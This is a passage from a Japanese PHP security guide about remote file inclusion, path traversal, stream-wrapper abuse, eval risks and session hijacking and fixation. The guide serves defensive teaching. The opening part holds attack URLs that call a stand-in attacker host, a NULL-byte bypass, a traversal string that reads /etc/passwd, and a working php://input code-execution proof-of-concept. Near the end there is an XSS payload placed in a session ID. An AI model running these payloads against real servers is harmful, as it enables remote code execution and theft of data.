また、攻撃対象のサーバ(http://www.example.com/index.php)で以下のようなスクリプトが設置されていたとします。
<?php include( $_GET['file'] ); ?>
ブラウザから以下のようなリクエストを行うと、攻撃対象のサーバで http://attack.example.com/exec.txt で書かれているコードが実行されます。
http://www.example.com/index.php?file=http://attack.example.com/exec.txt
また、include() や require() では、NULL バイトの影響を受けますので、以下のように、指定された拡張子のファイルを読み込むことを想定していた場合でも、
<?php include( $_GET['file'] . '.inc.php'); ?>
次のような NULL バイトの指定を含んだリクエストを受けると、外部のコードを実行することが可能になってしまいます。
http://www.example.com/index.php?file=http://attack.example.com/exec.txt%00
以上の問題は、allow_url_fopen が Off になっていた場合、外部サーバにある PHP スクリプトを実行することはできませんが、/etc/passwd など、ローカルファイルにある重要なファイルを読み込んで表示してしまう可能性があります。include() や require() に渡す引数は十分な入力チェックを行ってください。
また、include() や require() の引数に php://input を渡されると、POST の内容を PHP スクリプトとして実行してしまう問題もあります。これは、[PHP] include() bypassing filter with php://input (2004.05.30 の過去ログ)でまとめていますが、この場合、外部にサーバを用意しなくても任意のスクリプトを実行することが可能です。必ず、php://input が include() や require() の引数として渡らないようにチェックを行ってください。
php://input によって、POST の内容が PHP スクリプトとして実行されてしまうという機能は 2006.01.04 時点の最新版である、PHP 4.4.1 や PHP 5.1.1 でも変更されていません。
検証コードは以下のようになります。send ボタンを押すと、exec のテキストボックスで入力されている内容が対象のサーバで実行されます。
<?php
if ( isset( $_GET['include'] ) ) {
include( $_GET['include'] . '.php' );
exit;
}
?>
<form action="<?php echo htmlspecialchars( $_SERVER['SCRIPT_NAME'] ) ?>" method="post">
<div>target server : <input type="text" name="server" value="127.0.0.1" /></div>
<div>file : <input type="text" name="file" value="<?php echo htmlspecialchars( $_SERVER['SCRIPT_NAME'] ) ?>?include=" /></div>
<div>exec : <input type="text" name="cmd" value="<?php echo htmlspecialchars( '<?php phpinfo() ?>' ) ?>" /></div>
<input type="submit" value="send" />
</form>
<?php
if ( ! empty( $_POST ) ) {
$file = ! empty( $_POST['file'] ) ? $_POST['file'] : '';
$server = ! empty( $_POST['server'] ) ? $_POST['server'] : '';
$cmd = ! empty( $_POST['cmd'] ) ? $_POST['cmd'] : '';
$message = "POST " . $file . "php://input%00 HTTP/1.1\r\n";
$message .= "Host: " . $server . "\r\n";
$message .= "Content-length: " . strlen( $cmd ) . "\r\n";
$message .= "Connection: close\r\n\r\n";
$message .= $cmd . "\r\n";
$fp = fsockopen( $server, 80 );
fputs( $fp, $message );
while ( ! feof( $fp ) ) { echo fgets( $fp ); }
fclose( $fp );
}
?>
以下のような入力チェックを行い、想定外の入力を受け付けないようにしてください。以下の内容を組み合わせて想定した入力内容になっているかどうかを確認するとより安全性が高くなると思います。
NULL バイトを削除
まず、バイナリデータを受け付けないのであれば、誤動作の原因となる可能性のある、NULL バイトは削除してください。$input という変数から NULL バイトを削除する場合は、以下のようにします。
$input = str_replace( "\0", "", $input );
もし、配列全体に対して NULL バイトを排除したい場合は、Null Byte Attack の対処方法で紹介した関数を参考にしてください。
正規表現による文字列チェック
できれば、preg_match() などの Perl 互換の正規表現を使用し、入力全体の文字列に対して妥当性チェックを行ってください。入力文字列が半角英数字のみ場合は、以下のようにします。
if ( ! preg_match( '/^[0-9a-zA-Z]+$/D', $input ) ) {
// 不正な文字列が入っていた場合の処理
...
exit;
}
// 正当な入力文字列が入っていた場合の処理
...
basename() を使用する
外部からの入力にディレクトリが含まれないのであれば、basename() を使用して、ファイル名のみを取り出す方法が使用できます。これにより、パス・トラバーサルの問題のように、別のディレクトリのファイルを読み込まれてしまう問題を回避できます。
あまり気にする必要はないかもしれませんが、この関数はバイナリセーフではありませんので、NULL バイトの問題については考慮する必要があるかもしれません。
$input = str_replace( "\0", "", $input ); $file = basename( $input );
指定されたディレクトリのファイルをユーザからの指定によって読み込むのであれば、is_file() や is_readable() によって、ファイルの存在確認を行えば、http://... や php:// などの入力を許すことは無くなります。
$dir = '/home/test/lib/';
$ext = '.inc';
$file = $dir . $input . $ext;
if ( ! is_file( $file ) ) {
// 不正な文字列が入っていた場合の処理
...
exit;
}
// ファイルの読み込み
include( $file );
他にもいろいろな対処方法が考えられます。必要と考えられる確認を行ってから変数を使用してください。
上位ディレクトリを入力される攻撃(パス・トラバーサル攻撃)を回避するための対策として、以下のような対策を勧めるようなページを見かけたことがあるのですが、以下の方法では対策になりません。
$file = str_replace( '../', '', $_GET['file'] );
例えば、以下のようにして試してみれば分かりますが、上の対処方法では、無意味であることが分かります。
$_GET['file'] = '....//....//....//etc/passwd'; echo str_replace( '../', '', $_GET['file'] );
上の結果は以下のようになります。
../../../etc/passwd
この場合は、正規表現で文字列の妥当性を確認するなどして対処する、".." が含まれていた場合はエラーとする、basename()を使用するなどの対策が考えられます。ディレクトリを含まないファイル名だけを取得するのであれば、basename() を使用するのが最も簡単だと思います。
php.ini の設定で allow_url_fopen を Off にして、PHP から外部へのアクセスを禁止すれば include() や require() で外部のスクリプトを読み込むことはできないので安全と考えている人がいるかもしれませんが、この設定を行えば安全というものではありません。PHP 5.2.0 以前の場合、allow_url_fopen が On/Off に係わらず、十分な入力チェックを行ってください。PHP 5.2.1 以降の場合は、allow_url_include の設定を無効にしておけばこのほとんどの場合、問題にはならないと思います。
以下の問題があります。
PHP には、include() に php://input が入ると、POST で渡された文字列を PHP スクリプトとして実行できてしまうという問題があります([PHP] include() bypassing filter with php://input (2004.05.30 の過去ログ))。こちらの問題は、allow_url_fopen が Off になっていて実行されます。
allow_url_fopen を Off にしていても、fsockopen() 関数やソケット関数(socket_*())、またはプログラム実行関数(exec(), system(), ...)などによる外部サーバへのアクセスは可能です。これらを利用すれば、allow_url_fopen が Off になっているサーバに対して感染するワームの作成も可能です。
allow_url_fopen は PHP 4.3.4 以前では PHP_INI_ALL(どこでも設定可能なエントリ)であり、セーフモードが Off の場合は、PHP スクリプト中で変更可能です。
allow_url_fopen は PHP 4.3.5 から PHP_INI_SYSTEM(php.ini または httpd.conf で設定可能なエントリ) に変更され、PHP スクリプト中では設定変更ができないようになっています(PHP 4.3.5 の ChangeLog)。
PHP 5.2.0 から php.ini の設定に allow_url_include が追加されました。デフォルトでは無効に設定されています。
この設定が有効になっている場合のみ、include()、include_once()、require()、require_once() で URL 対応の fopen ラッパーが使用できるようになります。
PHP 5.2.0 では、allow_url_include を無効にしても data: および php: ストリームラッパーは使用可能であり、include() にphp://input や data:text/plain;charset=,<?php phpinfo() ?> のような文字列を埋め込むことで、リモートから PHP スクリプトを実行させることが可能でした。
PHP 5.2.1 からは、allow_url_include = Off にしておけば data: および php: のストリームラッパーも無効になります。通常、include() などで外部から PHP ファイルなどを読み込んで実行するということはないと思いますので、必ず無効に設定しておくべき設定だと思います。
PHP では、以下のように文字列をコードとして評価する、または、コールバック関数を動的に作成して適用する関数が存在します。一部を挙げると、以下のような関数があります。
文字列を PHP のコードとして評価する関数
eval()
preg_replace() (e 修飾子を使用した場合)
mb_ereg_replace() (第4引数に 'e' を指定した場合)
コールバック関数を適用する関数
usort(), uksort()
call_user_func(), call_user_func_array()
array_map(), array_walk(), array_filter()
関数を動的に定義する関数
create_function()
これらの関数は便利ですが、PHP のコード生成や、コールバック関数名に外部からの入力を使用している場合、入力変数が想定通りになっていることを確認してから変数を使用してください。判定文には、switch や正規表現などを利用すれば良いと思います。
特に、eval() 関数などは可能であれば、使用しないようにした方が安全です。eval() 関数により PHP コードが実行されてしまうという問題のあったアプリケーションやライブラリも多く、コードが想定内であるかどうかを判断するのは非常に難しいと考えられます。
Advisory 14/2005: PEAR XML_RPC Remote PHP Code Injection Vulnerability (Hardened-PHP Project)
Advisory 15/2005: PHPXMLRPC Remote PHP Code Injection Vulnerability (Hardened-PHP Project)
Advisory 17/2005: phpBB Multiple Vulnerabilities (Hardened-PHP Project)
Web ページ間で変数を保持する方法として、フォームの hidden フィールドや Cookie、セッション変数などが使用可能ですが、重要なデータの受け渡しを行う場合、セッション変数を使用します。
セッション変数は、ユーザから送信された重要情報をサーバ側で保存し、代わりに、Cookie や、GET 変数、POST 変数にセッション ID と呼ばれる、一般的に推測しにくい文字列をクライアントに持たせることでセッションを維持します。これにより、重要なデータを他のユーザに参照されたり、改ざんされたりする可能性を低くすることができます。
セッションを使用する際のセキュリティ問題としては、セッション ID を他のユーザに盗まれるセッションハイジャックという問題があります。セッション ID は、ブラウザのバグや、クロスサイトスクリプティングによって他のユーザに盗まれる可能性があります。Web アプリケーションでセッション ID を使用する場合は、簡単にセッション ID を盗まれないようにできる限りの対策を行う必要があります。
セッションについての一般的な機能については、PHP マニュアル : セッション処理関数(session) を参照してください。セッション変数を使用する際の PHP の動作について十分理解しておいた方が良いと思いますので、あまり PHP マニュアルで触れられていない部分と重要だと思われる部分についてまとめてみました。
PHP でのセッション処理はバージョンによって少し違いがありますので注意してください。また、session_set_save_handler() を使用して、独自のセッション処理を行う場合は参考にならない部分があります。ここでは、PHP 4.3.9 で確認した動作についてまとめておきます。
PHP でセッション変数を使用する場合、session_start() 関数を呼び出す必要があります。もし、php.ini で session.auto_start を "1" に設定した場合、自動的にセッションが開始されますので session_start() を呼び出す必要はありません。
セッションの開始時には、以下の処理が行われます。
まだセッション変数が保存されていない場合、セッション変数の保存データの領域を確保
クライアントからセッション ID が送信されていた場合、セッションの保存領域から $_SESSION にセッション変数を復元
指定された確率でガーベージ・コレクション(後で説明)を起動
スクリプトの終了時(出力時)には以下の処理が行われます。
確保した保存データ領域にセッション変数のデータ書き込み
クライアントにセッション ID が含まれた Cookie を送信(HTTP レスポンスヘッダ)
session.use_trans_sid が "1" に設定されている場合、ユーザが Cookie を無効にしていた場合でもセッションが継続するように、url_rewriter.tags の設定に従って HTML の URI 指定やフォームの hidden フィールドにセッション ID を埋め込む処理を行う
セッション変数を保存する領域は、以下の設定によって決定されます。デフォルトでは、/tmp に sess_dbfca507eb62b716bc2b8296159ccb15 (sess_ と セッション ID)のようなファイルが作成されます。
session.save_handler (デフォルト: "files")
session.save_path (デフォルト: "/tmp")
セッション ID は Cookie -> GET -> POST の順で session.name(デフォルトでは "PHPSESSID") で指定されたキーを検索します。例えば、Cookie($_COOKIE['PHPSESSID']) と GET 変数($_GET['PHPSESSID'])に別のセッション ID が指定されていた場合、Cookie のセッション ID が優先されます。
また、PHP 4.3.0 から導入された session.use_only_cookies を "1" に設定すると、セッション ID として Cookie のみを確認するようになります。これは、PHP マニュアルでは、セッション ID を URL に埋め込む攻撃を防ぐためとされています(セッション処理関数(session) session.use_only_cookies)。セッションを Cookie のみで管理するのであれば、session.use_only_cookies は On に設定しておくと、Session Fixation 攻撃を防止できる可能性が高くなります(クロスサイト・スクリプティングが可能な場合は Cookie の内容を改ざんされる可能性がありますので、絶対に安全というわけではありません)。この設定を行うと、session.use_trans_sid の機能は無意味になりますので、その場合は session.use_trans_sid を無効にしておくと良いと思います。
GET にセッション ID を含めることの問題点については、PHP マニュアルで以下のように解説されています。
URL に基づくセッション管理は、Cookieに基づくセッション管理と比べてセキュリティリスクが大きくなります。例えば、ユーザは、emailにより友人にアクティブなセッションIDを含むURLを送信する可能性があり、また、ユーザは自分のブックマークにセッションIDを含むURLを保存し、常に同じセッションIDで使用するサイトにアクセスする可能性があります。
最後に、session.use_trans_sid についてですが、PHP 4.3.1 以下のバーションでは、セッション ID にタグを含めるとクロスサイトスクリプティングが可能になってしまう問題が報告されていますので、PHP 4.3.1 以下では、session.use_trans_sid を有効にしないでください。
明確にセッションが終了したと判定することは難しいですが、ユーザがセッションの終了を宣言(例えば、ログアウトするなど)した場合は、session_destroy() 関数を呼び出すことで、サーバに保存されたセッション情報が破棄されます。
PHP マニュアル : session_destroy() によると、セッションに関するグローバル変数や、セッション Cookie は破棄しないとされています。実際に、session_destroy() が呼び出された後も、同じセッション ID が継続して使用されます。
完全にセッションを破棄する場合は、PHP マニュアルの例に従って処理を行います。
例 1. $_SESSIONでセッションを破棄する
<?php // セッションの初期化 // session_name("something")を使用している場合は特にこれを忘れないように! session_start(); // セッション変数を全て解除する $_SESSION = array(); // セッションを切断するにはセッションクッキーも削除する。 // Note: セッション情報だけでなくセッションを破壊する。 if (isset($_COOKIE[session_name()])) { setcookie(session_name(), '', time()-42000, '/'); } // 最終的に、セッションを破壊する session_destroy(); ?>
また、session.save_handler にデフォルトの "files" が指定されていた場合、ガーベージ・コレクションによって削除されるまでセッション情報のファイルは空のままで残ったままになります。もし、セッションが破棄された時に削除したい場合は、以下のようにすれば削除可能です。
$session_id = session_id();
if ( preg_match( '/^[-,0-9a-fA-Z]+$/D', $session_id ) ) {
$session_file = session_save_path() . '/sess_' . $session_id;
if ( is_file( $session_file ) ) {
unlink( $session_file );
}
}
else {
trigger_error( 'Session ID is invalid.', E_USER_ERROR );
exit;
}
session_id() の返り値は外部からの入力により改ざん可能ですので、session_id() の値が期待通りかどうかを確認してから使用してください。上記のコードのように、不正な値の場合は、エラーとして処理を終了させた方が安全です。詳しくは、セッション関連の処理で注意すべきクロスサイトスクリプティング問題を参照してください。
session.save_handler が "files" になっている場合、セッションの有効期間はガーベージ・コレクションによって、保存されているセッション情報のファイルが削除されるまでが有効期間になります。ガーベージ・コレクションが起動せず、セッションのファイルが残っている場合は、経過時間に関係なくセッションは有効になったままになります。
確率は低いですが、session.gc_maxlifetime で設定された秒数を過ぎたセッションを読み込み、同時にガーベージ・コレクションが起動した場合、そのアクセスでのセッションは継続しますが、次のアクセスではセッション切れになります。
ガーベージ・コレクションは、session.gc_maxlifetime (デフォルト: 1440秒)で設定した秒数を過ぎたセッション情報のファイルを削除する処理を行います。この処理は、セッション開始時に session.gc_probability (デフォルト: 1) を session.gc_divisor (デフォルト: 100)で割った確率で起動します。
php.ini で特に設定していない場合は、100 分の 1 の確率でガーベージ・コレクションが起動します。また、PHP 4.3.9 の php.ini-recommended をコピーして、php.ini として使用した場合、1000 分の 1 に設定されています。
PHP 4.3.1 以前では、session.gc_divisor は設定できませんが 100 と同じです。
PHP 4.2.2 以前では、アクセス時間(atime)を使用するため、Windows FAT や、atime の記録を無効にしている場合、セッション切れが早いなどの問題を引き起こします。
注意: デフォルトのファイルに基づくセッションハンドラを使用している場合、使用するファイルシステムは、アクセス時間(atime)を記録できる必要があります。Windows FATはこれができないため、FATファイルシステムまたはatimeの記録ができない他のファイルシステムで問題を発生した場合は、セッションのガベージコレクト処理を行う他の手段を用意する必要があります。PHP4.2.3以降、atimeの代わりにmtime(更新時刻)が使用されます。このため、atimeが利用できないファイルシステムでの問題は無くなりました。
Cookie には secure 属性という属性を設定することができます。Cookie に secure 属性を設定すると、ブラウザは、SSL を使用した https による通信時のみ Cookie の内容を送信し、http 通信時には Cookie の内容を送らないようになります。
重要な個人情報などを扱う場合、https 接続を行うことで、サーバ自体の認証と通信内容の暗号化を行うことができますが、通常は http 接続を行い、個人情報を入力する時のみ、https 接続を行っているサイトが多いと思います。このようなサイトで、https 接続と http 接続で同じセッション ID を使用していては、通信内容を暗号化している意味がありません。また、暗号化されていない http の通信でセッション ID を盗聴されてしまった場合、なりすましによって個人情報を読みとられてしまう可能性があります。
この問題については、Cookie盗聴によるWebアプリケーションハイジャックの危険性とその対策(SecurIT - 産業技術総合研究所 セキュアプログラミング研究チーム) や、経路のセキュリティと同時にセキュアなセッション管理を(IPA)で詳しい説明があります。
この問題を回避するために、https で接続する際には Cookie には secure 属性を付けて Cookie を発行します。PHP 4.0.4 から Cookie の secure 属性を付けることができるようになっています。
以下のように、Cookie の secure 属性を付けるにはいくつか方法があります。
php.ini で設定
php.ini の設定で、セッション ID には必ず secure 属性を付けてしまうという方法です。ただし、この設定を行うと、http の通信ではセッションが継続しないことになりますので、気を付けてください。https 通信のみでセッションを使用する場合には非常に有効な方法です。
以下の行を追加します。php.ini を変更した場合は、httpd を再起動するのを忘れないでください。
session.cookie_secure = 1
PHP のソースに付属している php.ini-dist や php.ini-recommanded にはこのオプションは存在しませんので、場所は session.cookie_domain の下くらいに追加すれば良いと思います。このオプションについては、PHP マニュアル : セッション処理関数(session) : session.cookie_secure を参照してください。
PHP スクリプト中で設定
ini_set() 関数を使用すれば、PHP スクリプト中でも設定できます。session_start() を呼び出す前に設定してください。
ini_set( 'session.cookie_secure', 1 );
または、session_set_cookie_params() 関数の第4引数を TRUE にすることでも、セッション ID に使用する Cookie に secure 属性を付けることができます。Cookie の生存期間や Path など、他の Cookie のパラメータと一緒に設定したい場合はsession_set_cookie_params() 関数を使用すると便利です。
セッション Cookie の生存期間を 1000秒、Path を /ssl_path/、Cookie の secure 属性を付ける場合の例
session_set_cookie_params( 1000, '/ssl_path/', NULL, TRUE ); session_start();
session_set_cookie_params() 関数も session_start() 関数を呼び出す前に使用してください。詳しい関数の説明については、PHP マニュアル : session_set_cookie_params を参照してください。
セッション ID 以外の Cookie で secure 属性を付ける方法
セッション ID に使用する以外の通常の Cookie については、setcookie() 関数を使用しますが、setcookie() 関数では、第6引数で secure 属性を付けるように設定することができます。
Cookie のキーを Cookie_Name、Cookie の値を Cookie_Value として、Cookie の生存期間を1時間、Path を /ssl_path/、ドメインを example.com、secure 属性を付ける場合の例としては以下のようになります。
setcookie( 'Cookie_Name', 'Cookie_Value', time() + 3600, '/ssl_path/', 'example.com', 1 );
PHP マニュアル: setcookie によると、第6引数は int 型ということになっていますので、secure 属性を付ける場合は1を指定します。session_set_cookie_params() では bool 型 でしたので統一されていないような気がしますが、setcookie() の第6引数に TRUE を入れても特に問題なく secure 属性が付きます。また、その他にも、setcookie() の第3引数には有効期限を指定するなど、session_set_cookie_params() とは細かい違いがありますので気を付けてください。
セッション ID に関しては、既に発行されている Cookie の secure 属性を変更することはできません。もし、その必要があるのであれば、セッション ID を変更し、secure 属性付きで Cookie を再発行する必要があります。PHP では、4.3.2 以降で導入された session_regenerate_id() を使用することでセッション ID を変更することができます。セッション ID の変更方法については セッション ID の変更で説明します。
Cookie には Path を設定することができます。Cookie Path は、共用サーバでは必ず設定してください。
例えば、Cookie Path を設定することで、
http://www.example.com/user1/
と、
http://www.example.com/user2/
で、別のセッション ID を使用することが可能です。Cookie Path を設定するには、session_set_cookie_params() の第2引数で Path を指定し、その後、session_start() を呼び出します。
session_set_cookie_params( 1000, '/user1/' ); session_start();
Cookie Path の最後のスラッシュは忘れずに付けてください。ブラウザはディレクトリパスと前から一致した Cookie を送信することになっていますので、/user1 と設定すると、/user10 でも /user1 の Cookie が送信されることになってしまいます。
もし、Cookie Path を指定しない、または / のみになっていた場合、Cookie を発行したドメインの全てのディレクトリで同じ Cookie を送信することになります。このため、共用サーバで、同じドメイン(ここでは www.example.com)を複数のユーザが共用していた場合、他人が管理している CGI に対してもセッション ID を送信してしまう可能性が高くなります。
他人が管理している CGI で Cookie の内容を記録していたとすると、リンクや掲示板への書き込みなどで、Cookie を記録する CGI に誘導することができれば、Javascript などを利用しなくても簡単にセッション ID を盗聴することができます。
ただ、残念なことに、Cookie Path を正しく設定しても、一部のブラウザでは少し細工をするだけで Cookie Path の設定を回避することができます。詳しくは、Multiple Browser Cookie Path Directory Traversal Vulnerability(2004.03.14 の過去ログ)にまとめていますので、そちらを参照してください。
Cookie Path の問題は、独自ドメインを取得し、ドメインの全てのディレクトリを管理している状態であれば、あまり気にする必要はありません。反対に、ドメインを共用する場合、セッションの盗聴を防ぐのは非常に難しいです。重要なデータをセッションによって管理する必要がある場合には、最低でも専用のドメインを取得すべきです。
http 通信では、Cookie も暗号化されずにネットワークを流れるため、同じセッション ID を長時間使い続けると、他人に知られてしまったり、盗聴されたりする危険性が高くなります。定期的にセッション ID を変更ことでその危険性を低くすることができます。
また、e コマースサイトなどのように、http 通信で入力したセッション情報を保持したまま https に移行したいということもあるかもしれません。Cookie の secure 属性を付けて発行する場合、http 通信と同じセッション ID は使用できませんので、セッション ID を変更する必要があります。
PHP 4.3.2 以降であれば、session_regenerate_id() を使用することでセッション ID を変更することができます。使い方は、以下のように session_start() の後に呼び出すだけです。
session_start(); session_regenerate_id();
PHP 4.3.2 でセッション ID の管理に Cookie を使用している場合は、変更されたセッション ID が送信されないというバグが報告されていますので、PHP 4.3.2 を使用している場合は気を付けてください([PHP-users 20127]Re: session_regenerate_idについて,PHP マニュアル: session_regenerate_id() 例1の注意)。
PHP 4.3.1 以下でも session_regenerate_id() を使用するための代替関数が、PHP マニュアル: session_regenerate_id() の User Contributed Notes や、PHP-users メーリングリストの [PHP-users 17602]Re: session_regenerate_id()の挙動についてに投稿されています。
また、session_regenerate_id() は、一つ前に使用していたセッション情報を削除しないことに注意してください。session_regenerate_id() は、新しく別の領域にセッション情報を保存しますが、前のデータを削除しないため、古いセッション情報は残ったままになります。古いセッション情報は、使用可能な状態になっていますので、単純に session_regenerate_id() を呼び出せば良いというものではありません。必要に応じて以下のような対策を行ってください。
古いセッション情報を明示的に削除
セッションの有効期間(session.gc_maxlifetime)を短くし、ガーベージ・コレクションが起動する確率を上げる(session.gc_probability と session.gc_divisor の値を調整する)
2. はガーベージ・コレクションを頻繁に起動することになるため、サーバ負荷が高くなるという問題と、ユーザ側でセッション切れが起こりやすくなるという問題があります。セッション切れを可能な限り回避する方法としては、セッション・タイムアウトへの対処も参考にしてください。
1. の古いセッション情報を削除する方法として、PHP 5.1.0 以降の場合は、session_regenerate_id() の第1引数にオプションが設定されています。これを TRUE にすると、セッション情報を削除するようになっています。PHP 5.1.0 を使用している場合は、session_regenerate_id( TRUE ) を実行するだけで自動的に古いセッション ID は削除されます。
詳しくは、以下を参照してください。
session_regenerate_id() の実装が改善 (2005.06.05 過去ログ)
もし、PHP 5.1.0 より前のバージョンで、session.save_handler が "files" である場合、以下のようにします。もし、独自のセッションハンドラを使用している場合は、それに合わせて実装を行ってください。
session_start();
$session_id = session_id();
session_regenerate_id();
if ( preg_match( '/^[-,0-9a-fA-Z]+$/D', $session_id ) ) {
$session_file = session_save_path() . '/sess_' . $session_id;
if ( is_file( $session_file ) ) {
unlink( $session_file );
}
}
else {
trigger_error( 'Session ID is invalid.', E_USER_ERROR );
exit;
}
注意:session_id() には不正な値が含まれている可能性がありますので、この値を使用する際は、不正な値("/", "\", ">", "<"など)が含まれていないか必ずチェックを行ってください。上記のように、不正な値が含まれている場合は、エラーとして終了した方が安全です。
session.maxlifetime で設定した秒数以上の時間、ユーザからのアクセスがない上で、ガーベージ・コレクションによってセッション情報が削除されてしまった場合、セッション・タイムアウトとなります。特に、ユーザがシステムにログインした状態で多くのデータを入力する必要があった場合、セッション・タイムアウトが起こる可能性が高くなります。この対処として、session.maxlifetime の秒数を増やすという方法は、セッション ID の漏洩があった場合、悪用される危険性が高くなりますので、良い方法ではありません。
ユーザがあるページをブラウザを開いている間は、できる限りセッションを継続させる方法として、「ハートビート」という方法があります。詳しくは、IPA セキュアプログラミング大全の第 5章 セキュアVBScript/ASPプログラミング [5-3.] セッションタイムアウトを参照してください。
PHP では、以下のようなセッション継続用のファイルを用意します。このファイルを読み込む frame や iframe を見えない場所に置き、一定時間ごとにアクセスすることでセッション・タイムアウトを防ぎます。例えば、session.maxlifetime はデフォルトで 1440 秒になっていますので、1440 秒以下の間隔でアクセスを行えばセッション・タイムアウトを防ぐことができます。1200 秒ごとにサーバにアクセスするには以下のようにします。
<?php session_start(); ?> <html> <head> <meta HTTP-EQUIV="Refresh" CONTENT="1200"> </head> <body> </body> </html>
これによって、session.maxlifetime を短くしても、セッション・タイムアウトが起こる可能性を低くすることが可能になります。また、session.maxlifetime を短くすることは、あるユーザのセッション ID が漏洩したとしても、ユーザが被害を受ける可能性が低くなります。
あまり短い時間でサーバにアクセスを行うとサーバ側の負荷が高くなりますので、Refresh の秒数と session.maxlifetime の値をどの程度にするかは調整が必要です。
セッションを使用するときには、以下の点に気を付けないと、クロスサイトスクリプティング問題を引き起こす可能性がありますので、注意してください。
PHP 4.3.1 以下では、session.use_trans_sid を有効にしない
session.use_trans_sid についてですが、PHP 4.3.1 以下のバーションでは、セッション ID にタグを含めるとクロスサイトスクリプティングが可能になってしまう問題が報告されています。
session_id() や定数の SID を使用する時もエスケープ処理を行う
セッション ID も外部からの入力が可能ですので、タグが含まれることも考えられます。Cookie や GET 変数に指定するセッション ID にタグが含まれていた場合、そのまま出力するとクロスサイトスクリプティングが可能になってしまいます。
クロスサイトスクリプティングの対処方法で説明したように、HTML として出力する全ての変数や定数、関数の結果に htmlspecialchars() を通して出力を行っていればこの問題は気にする必要はありません。
strip_tags() ではダブルコーテーションが削除されないため、htmlspecialchars() でタグをエスケープしないと、クロスサイトスクリプティングが可能になってしまいます。
さらに、session_id() や SID のエスケープをせずにそのまま出力するように書かれている書籍や Web ページが多いですので、注意してください。
例としては、以下のようにエスケープせずに SID や session_id() を出力するのは危険です。
echo '<a href="index.php?' . SID . '">HOME</a>';
<form action="<?php echo htmlspecialchars( $_SERVER['SCRIPT_NAME'] ) ?>" method="post"> <input type="hidden" name="PHPSESSID" value="<?php echo session_id() ?>" /> </form>
必ず、以下のようにエスケープ処理を行ってから出力してください。
echo '<a href="index.php?' . htmlspecialchars( SID ) . '">HOME</a>';
<form action="<?php echo htmlspecialchars( $_SERVER['SCRIPT_NAME'] ) ?>" method="post"> <input type="hidden" name="PHPSESSID" value="<?php echo htmlspecialchars( session_id() ) ?>" /> </form>
以下のような HTTP リクエストを受けると、エスケープしていない場合はクロスサイトスクリプティングが可能になってしまいます。
http://www.example.com/index.php?PHPSESSID="><script>alert()</script>
セッションハイジャック対策(2005.07.17 の過去ログ) のまとめ直しです。
Question about session hijacking (DevNetwork Forums) の議論で、Web アプリケーションへのアクセス中に、ブラウザの User Agent や Accept Charset などの HTTP リクエストヘッダを変更するような人はほとんどいないという事を利用して、以下のような関数が挙げられていました(この関数はセッション管理クラスの中で使用されることを想定しているようですので、このままでは使えません)。
// get the fingerprint of the user
function getFingerprint()
{
$fingerprint = $this->secret;
if (array_key_exists('HTTP_USER_AGENT', $_SERVER))
{
$fingerprint .= $_SERVER['HTTP_USER_AGENT'];
}
if (array_key_exists('HTTP_ACCEPT_CHARSET', $_SERVER))
{
$fingerprint .= $_SERVER['HTTP_ACCEPT_CHARSET'];
}
$fingerprint .= session_id();
$fingerprint = md5($fingerprint);
return $fingerprint;
}
フィンガープリントを取得し、違う場合はログに書き込む、またはエラーメッセージを返すなどの対処を行うことでセッションハイジャックを防止するという考え方です。この方法では、セッション ID を盗まれたとしても、盗んだ相手の User Agent と Accept Charset を同じにしなければセッションハイジャックとして検出されます。これらの HTTP リクエストヘッダの情報までスニッファなどで盗聴された場合はこの対策は無意味ですが、Javascript などによるセッション ID の盗聴であれば検出できる可能性が高くなります。
セッションハイジャック対策としては、IP アドレスチェックを行う場合もありますが、Proxy を使用しているユーザの場合、IP アドレスが変更されたり、別のユーザと重複することも多いという問題があります。それに対して、User Agent や Accept Charset をアクセス毎に変更するブラウザは少ないと思います。
実装例としては以下のようにセッション開始時にフィンガープリントの妥当性をチェックします。
function get_fingerprint()
{
// 何か適当な秘密の文字列(サーバ名やアプリケーション名などでも良いと思いますが、推測できない方が良いと思います)
$fingerprint = 'secret';
if ( ! empty( $_SERVER['HTTP_USER_AGENT'] ) ) {
$fingerprint .= $_SERVER['HTTP_USER_AGENT'];
}
if ( ! empty( $_SERVER['HTTP_ACCEPT_CHARSET'] ) ) {
$fingerprint .= $_SERVER['HTTP_ACCEPT_CHARSET'];
}
$fingerprint .= session_id();
return md5( $fingerprint );
}
// セッションの開始
session_start();
if ( ! isset( $_SESSION['fingerprint'] ) ) {
// トップページ(ログインページへ移動)
exit;
}
$fingerprint = get_fingerprint();
if ( $fingerprint !== $_SESSION['fingerprint'] ) {
// セッションハイジャックを検出
// ログの書き出し、エラー処理
exit;
}
// フィンガープリントをセッションに登録
$_SESSION['fingerprint'] = $fingerprint;
// 続きの処理
(2006.06.20 修正)
上記のコードの一部が間違えていたので修正しました($_SERVER['fingerprint'] => $_SESSION['fingerprint'])。指摘してくださった方、どうもありがとうございました。
セッション開始時にフィンガープリントの取得と一致するかの評価を行うだけですので、この方法であれば、既に作成済みの Web アプリケーションに組み込むのも簡単です。厳密にセッションハイジャックを防止するのは困難ですが、簡単なセッションハイジャック対策の一つとしては有効かもしれません。
正当なユーザが使用するセッション ID を攻撃者が指定することにより、攻撃者にセッション ID を知られた状態になってしまう問題です。正当なユーザが攻撃者が指定したセッション ID のまま、Web アプリケーションにログインした場合、攻撃者もログインした状態になり、個人情報を盗み見られたり、データを書き換えられるなど、場合によっては危険な操作をされる可能性があります。
(2006.08.31 修正) 以下の記述は間違っていました。これでは Session Fixation に対処したことにはなりません。指摘したくださった金床さん、どうもありがとうございました。
この問題を簡単に解決する方法としては、session_regenerate_id() を使用する方法があります。例えば、以下のように、session_start() を実行した後、セッション変数が設定されていない場合、session_regenerate_id() を実行します。
<?php
session_start();
if ( ! isset( $_SESSION['initiated'] ) ) {
session_regenerate_id();
$_SESSION['initiated'] = true;
}
?>
(2006.08.31 追加)
上記の方法では、先に攻撃者が攻撃対象のサーバでセッションを発行させ、そこで得たセッション ID をそのサーバの正当なユーザに指定してサーバに誘導することで、Session Fixation 攻撃が可能です。
この対処方法としては、以下の方法が考えられます。
ログインに成功するまで、セッションを発行しない
ユーザがログインに成功した時点で、新しくセッションを発行します。正当なユーザがログインに成功するまでセッションが発行されないため、攻撃者が直接セッション ID を指定することは不可能になります。ユーザがログインする前に、セッション情報が必要ないシステムであれば、Session Fixation 攻撃の対処方法として有効であると考えられます。
ログイン成功時など、ユーザの権限が変更される時点でセッション ID を変更する
